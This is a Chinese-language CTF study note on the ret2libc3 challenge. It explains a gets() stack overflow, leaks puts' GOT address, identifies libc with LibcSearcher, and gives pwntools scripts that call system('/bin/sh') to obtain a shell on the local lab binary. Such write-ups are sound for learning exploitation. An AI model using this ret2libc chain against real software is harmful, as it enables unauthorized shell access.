pwn学习笔记-ret2libc3
在ret2libc2的基础上,将 system 函数的地址去掉。此时,我们需要同时找到 system 函数地址与 /bin/sh 字符串的地址。首先,查看安全保护
程序仍然开启了NX
拖入ida中查看
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets(&s);
return 0;
}
仍然是在gets函数处利用,但是在程序中现在没有了system函数和/bin/sh字符串
这里就需要了解一下libc的作用
- system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
- 即使程序开启了ALSR,但是程序的低3位地址是不会变的,我们可以泄露出某个执行过的函数的低三位地址进而确定libc的版本
- 泄露某个函数的地址我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。
脚本如下:
from pwn import *
context.log_level = 'debug'
p = process('./ret2libc3')
elf = ELF('./ret2libc3')
p.sendlineafter('!?','a'*112+p32(elf.plt['puts'])+'aaaa'+p32(elf.got['puts']))
p.interactive()
我们可以通过此处泄露puts函数的地址
可以看到地址的低三位为ca0
下面我们可以确定libc的版本,我们可以用到LibcSearcher
github地址为https://github.com/lieanu/LibcSearcher
当然这个工具的强大之处不只如此,我们可以把它当做第三方库来使用
引用说明文档的例子
from LibcSearcher import *
#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0X7ff39014bd90)
obj.dump("system")#system 偏移
obj.dump("str_bin_sh")#/bin/sh 偏移
obj.dump("__libc_start_main_ret")
所以得到了libc的版本后,我们就可以获得libc中system函数和/bin/sh的地址
将LibcSearcher作为第三方库,最后的脚本为:
from pwn import *
from LibcSearcher import LibcSearcher
p = process('./ret2libc3')
elf = ELF('./ret2libc3')
p.sendlineafter('!?','a'*112+p32(elf.plt['puts'])+p32(0x08048618)+p32(elf.got['puts']))
puts_addr = u32(p.recv(4))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
p.sendlineafter('!?','a'*112+p32(system_addr)+p32(0x08048618)+p32(binsh))
p.interactive()
调用完puts函数后我们让该函数返回到程序的主函数处
脚本执行需要等待一会,可能是寻找libc较费时间
成功获得了shell